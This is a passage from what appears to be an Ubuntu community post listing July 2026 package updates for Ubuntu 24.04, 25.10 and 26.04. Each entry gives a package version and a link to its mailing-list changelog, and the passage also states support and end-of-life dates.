<li>curl 8.5.0-2ubuntu10.11 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057198.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057198.html</a></li>
<li>linux-azure-6.17 6.17.0-1020.20~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057199.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057199.html</a></li>
<li>linux-meta-azure-6.17 6.17.0-1020.20~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057200.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057200.html</a></li>
<li>linux-signed-azure-6.17 6.17.0-1020.20~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057201.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057201.html</a></li>
<li>linux-restricted-modules-azure-6.17 6.17.0-1020.20~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057202.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057202.html</a></li>
<li>linux-restricted-signatures-azure-6.17 6.17.0-1020.20~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057203.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057203.html</a></li>
<li>linux-meta-azure-fde-6.17 6.17.0-1017.17~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057204.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057204.html</a></li>
<li>linux-signed-azure-fde-6.17 6.17.0-1017.17~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057205.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057205.html</a></li>
<li>linux-restricted-signatures-azure-fde-6.17 6.17.0-1017.17~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057206.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057206.html</a></li>
<li>linux-restricted-modules-azure-fde-6.17 6.17.0-1017.17~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057207.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057207.html</a></li>
<li>linux-azure-fde-6.17 6.17.0-1017.17~24.04.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057208.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057208.html</a></li>
<li>linux-meta-azure 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057209.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057209.html</a></li>
<li>linux-signed-azure 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057210.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057210.html</a></li>
<li>linux-restricted-signatures-azure 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057211.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057211.html</a></li>
<li>linux-restricted-modules-azure 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057212.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057212.html</a></li>
<li>linux-azure 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057213.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057213.html</a></li>
<li>linux-azure 6.8.0-1062.69 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057214.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057214.html</a></li>
<li>linux-meta-azure-fde 6.8.0-1061.68 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057215.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057215.html</a></li>
<li>linux-signed-azure-fde 6.8.0-1061.68 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057216.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057216.html</a></li>
<li>linux-restricted-signatures-azure-fde 6.8.0-1061.68 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057217.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057217.html</a></li>
<li>linux-restricted-modules-azure-fde 6.8.0-1061.68 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057218.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057218.html</a></li>
<li>linux-azure-fde 6.8.0-1061.68 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057219.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057219.html</a></li>
<li>linux-aws-7.0 7.0.0-1007.7~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057221.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057221.html</a></li>
<li>linux-signed-aws-7.0 7.0.0-1007.7~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057222.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057222.html</a></li>
<li>linux-meta-aws-7.0 7.0.0-1007.7~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057223.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057223.html</a></li>
<li>linux-restricted-signatures-aws-7.0 7.0.0-1007.7~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057224.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057224.html</a></li>
<li>linux-restricted-modules-aws-7.0 7.0.0-1007.7~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057225.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057225.html</a></li>
<li>linux-xilinx 6.8.0-1033.34 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057226.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057226.html</a></li>
<li>linux-meta-xilinx 6.8.0.1033.34 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057227.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057227.html</a></li>
<li>linux-ibm 6.8.0-1061.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057228.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057228.html</a></li>
<li>linux-meta-ibm 6.8.0-1061.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057229.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057229.html</a></li>
<li>linux-signed-ibm 6.8.0-1061.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057230.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057230.html</a></li>
<li>linux-restricted-modules-ibm 6.8.0-1061.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057231.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057231.html</a></li>
<li>linux-restricted-signatures-ibm 6.8.0-1061.62 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057232.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057232.html</a></li>
<li>linux-nvidia-lowlatency 6.8.0-1059.62.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057233.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057233.html</a></li>
<li>linux-meta-nvidia-lowlatency 6.8.0-1059.62.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057234.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057234.html</a></li>
<li>linux-signed-nvidia-lowlatency 6.8.0-1059.62.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057235.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057235.html</a></li>
<li>linux-restricted-signatures-nvidia-lowlatency 6.8.0-1059.62.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057236.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057236.html</a></li>
<li>linux-restricted-modules-nvidia-lowlatency 6.8.0-1059.62.1 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057237.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057237.html</a></li>
<li>linux-gcp-7.0 7.0.0-1006.6~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057238.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057238.html</a></li>
<li>linux-signed-gcp-7.0 7.0.0-1006.6~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057239.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057239.html</a></li>
<li>linux-meta-gcp-7.0 7.0.0-1006.6~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057240.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057240.html</a></li>
<li>linux-restricted-signatures-gcp-7.0 7.0.0-1006.6~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057241.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057241.html</a></li>
<li>linux-restricted-modules-gcp-7.0 7.0.0-1006.6~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057242.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057242.html</a></li>
<li>linux-meta-raspi 6.8.0-1061.65 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057243.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057243.html</a></li>
<li>linux-raspi 6.8.0-1061.65 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057244.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057244.html</a></li>
<li>wsl-setup 0.5.10~24.04.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057245.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057245.html</a></li>
<li>resource-agents 1:4.13.0-1ubuntu4.2 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057246.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057246.html</a></li>
<li>linux-azure-nvidia 6.8.0-1042.45 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057247.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057247.html</a></li>
<li>linux-meta-azure-nvidia 6.8.0-1042.45 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057248.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057248.html</a></li>
<li>linux-signed-azure-nvidia 6.8.0-1042.45 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057249.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057249.html</a></li>
<li>linux-restricted-modules-azure-nvidia 6.8.0-1042.45 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057250.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057250.html</a></li>
<li>linux-restricted-signatures-azure-nvidia 6.8.0-1042.45 - <a href="https://lists.ubuntu.com/archives/noble-changes/2026-July/057251.html">https://lists.ubuntu.com/archives/noble-changes/2026-July/057251.html</a></li>
</ul>
<p>End of standard support: April 2029</p>
<h3><a name="p-220290-ubuntu-2510-updates-45" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-2510-updates-45"></a>Ubuntu 25.10 Updates</h3>
<ul>
<li>linux-meta-raspi 6.17.0-1021.21 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012462.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012462.html</a></li>
<li>linux-raspi 6.17.0-1021.21 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012463.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012463.html</a></li>
<li>libinput 1.28.1-1ubuntu0.4 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012464.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012464.html</a></li>
<li>linux-gcp 6.17.0-1021.24 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012465.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012465.html</a></li>
<li>linux-meta-gcp 6.17.0-1021.24 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012466.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012466.html</a></li>
<li>linux-signed-gcp 6.17.0-1021.24 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012467.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012467.html</a></li>
<li>linux-restricted-signatures-gcp 6.17.0-1021.24 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012468.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012468.html</a></li>
<li>linux-restricted-modules-gcp 6.17.0-1021.24 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012469.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012469.html</a></li>
<li>valkey 8.1.7+dfsg1-0ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012470.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012470.html</a></li>
<li>google-compute-engine-oslogin 20260116.00-0ubuntu1~25.10.0 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012471.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012471.html</a></li>
<li>gce-compute-image-packages 20260116.00-0ubuntu1~25.10.0 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012472.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012472.html</a></li>
<li>google-osconfig-agent 20251028.00-0ubuntu2~25.10.0 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012473.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012473.html</a></li>
<li>sssd 2.10.1-2ubuntu5.3 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012474.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012474.html</a></li>
<li>edk2 2025.02-8ubuntu3.2 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012475.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012475.html</a></li>
<li>mailcap 3.74ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012476.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012476.html</a></li>
<li>golang-1.25 1.25.7-2~25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012477.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012477.html</a></li>
<li>tzdata 2026b-0ubuntu0.25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012478.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012478.html</a></li>
<li>fabric-manager-580 580.173.02-0ubuntu0.25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012479.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012479.html</a></li>
<li>libnvidia-nscq-580 580.173.02-0ubuntu0.25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012480.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012480.html</a></li>
<li>nvidia-imex-580 580.173.02-0ubuntu0.25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012481.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012481.html</a></li>
<li>nvidia-graphics-drivers-580 580.173.02-0ubuntu0.25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012482.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012482.html</a></li>
<li>nvidia-graphics-drivers-595 595.84-0ubuntu0.25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012483.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012483.html</a></li>
<li>nvidia-graphics-drivers-610 610.43.02-0ubuntu0.25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012484.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012484.html</a></li>
<li>nvidia-graphics-drivers-580-server 580.173.02-0ubuntu0.25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012485.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012485.html</a></li>
<li>golang-go.crypto 1:0.25.0-1ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012487.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012487.html</a></li>
<li>fwupd 2.0.20-1ubuntu2~25.10.3 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012488.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012488.html</a></li>
<li>libsoup2.4 2.74.3-10.1ubuntu4.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012490.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012490.html</a></li>
<li>golang-1.25 1.25.7-2~25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012491.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012491.html</a></li>
<li>tzdata 2026b-0ubuntu0.25.10.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012492.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012492.html</a></li>
<li>python-os-brick 6.13.0-0ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012494.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012494.html</a></li>
<li>curl 8.14.1-2ubuntu1.5 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012495.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012495.html</a></li>
<li>libheif 1.20.2-1ubuntu0.6 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012496.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012496.html</a></li>
<li>linux-azure 6.17.0-1020.20 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012497.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012497.html</a></li>
<li>linux-meta-azure 6.17.0-1020.20 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012498.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012498.html</a></li>
<li>linux-signed-azure 6.17.0-1020.20 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012499.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012499.html</a></li>
<li>linux-restricted-modules-azure 6.17.0-1020.20 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012500.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012500.html</a></li>
<li>linux-restricted-signatures-azure 6.17.0-1020.20 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012501.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012501.html</a></li>
<li>linux-azure-fde 6.17.0-1017.17 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012502.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012502.html</a></li>
<li>linux-meta-azure-fde 6.17.0-1017.17 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012503.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012503.html</a></li>
<li>linux-signed-azure-fde 6.17.0-1017.17 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012504.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012504.html</a></li>
<li>linux-restricted-modules-azure-fde 6.17.0-1017.17 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012505.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012505.html</a></li>
<li>linux-restricted-signatures-azure-fde 6.17.0-1017.17 - <a href="https://lists.ubuntu.com/archives/questing-changes/2026-July/012506.html">https://lists.ubuntu.com/archives/questing-changes/2026-July/012506.html</a></li>
</ul>
<p>END OF LIFE: July 9, 2026</p>
<h3><a name="p-220290-ubuntu-2604-updates-46" class="anchor" href="https://discourse.ubuntu.com#p-220290-ubuntu-2604-updates-46"></a>Ubuntu 26.04 Updates</h3>
<ul>
<li>ruby3.3 3.3.8-2ubuntu3.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028509.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028509.html</a></li>
<li>python3.14 3.14.4-1ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028511.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028511.html</a></li>
<li>tar 1.35+dfsg-4ubuntu0.2 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028512.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028512.html</a></li>
<li>socat 1.8.1.1-1ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028513.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028513.html</a></li>
<li>gzip 1.14-1~exp2ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028514.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028514.html</a></li>
<li>linux-ibm 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028519.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028519.html</a></li>
<li>linux-meta-ibm 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028520.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028520.html</a></li>
<li>linux-signed-ibm 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028521.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028521.html</a></li>
<li>linux-restricted-modules-ibm 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028522.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028522.html</a></li>
<li>linux-restricted-signatures-ibm 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028523.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028523.html</a></li>
<li>linux-main-modules-ibm 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028524.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028524.html</a></li>
<li>linux-main-signed-ibm 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028525.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028525.html</a></li>
<li>linux-gke 7.0.0-1003.4 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028526.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028526.html</a></li>
<li>linux-meta-gke 7.0.0-1003.4 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028527.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028527.html</a></li>
<li>linux-signed-gke 7.0.0-1003.4 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028528.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028528.html</a></li>
<li>linux-main-modules-gke 7.0.0-1003.4 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028529.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028529.html</a></li>
<li>linux-main-signed-gke 7.0.0-1003.4 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028530.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028530.html</a></li>
<li>linux-meta-azure 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028531.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028531.html</a></li>
<li>linux-restricted-signatures-azure 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028532.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028532.html</a></li>
<li>linux-signed-azure 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028533.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028533.html</a></li>
<li>linux-main-modules-azure 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028534.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028534.html</a></li>
<li>linux-main-signed-azure 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028535.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028535.html</a></li>
<li>linux-restricted-modules-azure 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028536.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028536.html</a></li>
<li>linux-meta-azure-fde 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028537.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028537.html</a></li>
<li>linux-signed-azure-fde 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028538.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028538.html</a></li>
<li>linux-restricted-signatures-azure-fde 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028539.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028539.html</a></li>
<li>linux-azure-fde 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028540.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028540.html</a></li>
<li>linux-restricted-modules-azure-fde 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028541.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028541.html</a></li>
<li>linux-azure 7.0.0-1010.10 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028542.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028542.html</a></li>
<li>linux-main-modules-azure-fde 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028543.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028543.html</a></li>
<li>linux-main-signed-azure-fde 7.0.0-1009.9 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028544.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028544.html</a></li>
<li>software-properties 0.120.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028545.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028545.html</a></li>
<li>libinput 1.31.1-1ubuntu1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028546.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028546.html</a></li>
<li>ubuntu-meta 1.570.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028547.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028547.html</a></li>
<li>budgie-desktop 10.10.2-1ubuntu4.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028548.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028548.html</a></li>
<li>bluez 5.85-4ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028549.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028549.html</a></li>
<li>orca 50.2-0ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028550.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028550.html</a></li>
<li>linux-gcp 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028551.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028551.html</a></li>
<li>linux-meta-gcp 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028552.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028552.html</a></li>
<li>linux-signed-gcp 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028553.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028553.html</a></li>
<li>linux-restricted-modules-gcp 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028554.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028554.html</a></li>
<li>linux-restricted-signatures-gcp 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028555.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028555.html</a></li>
<li>linux-main-modules-gcp 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028556.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028556.html</a></li>
<li>linux-main-signed-gcp 7.0.0-1008.8 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028557.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028557.html</a></li>
<li>apache2 2.4.66-2ubuntu2.4 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028558.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028558.html</a></li>
<li>clamav 1.5.3+dfsg-0ubuntu0.26.04.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028559.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028559.html</a></li>
<li>snapd 2.76+ubuntu26.04.2 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028560.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028560.html</a></li>
<li>valkey 9.0.4-0ubuntu0.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028563.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028563.html</a></li>
<li>mailcap 3.75ubuntu1.1 - <a href="https://lists.ubuntu.com/archives/resolute-changes/2026-July/028564.html">https://lists.ubuntu.com/archives/resolute-changes/2026-July/028564.html</a></li>
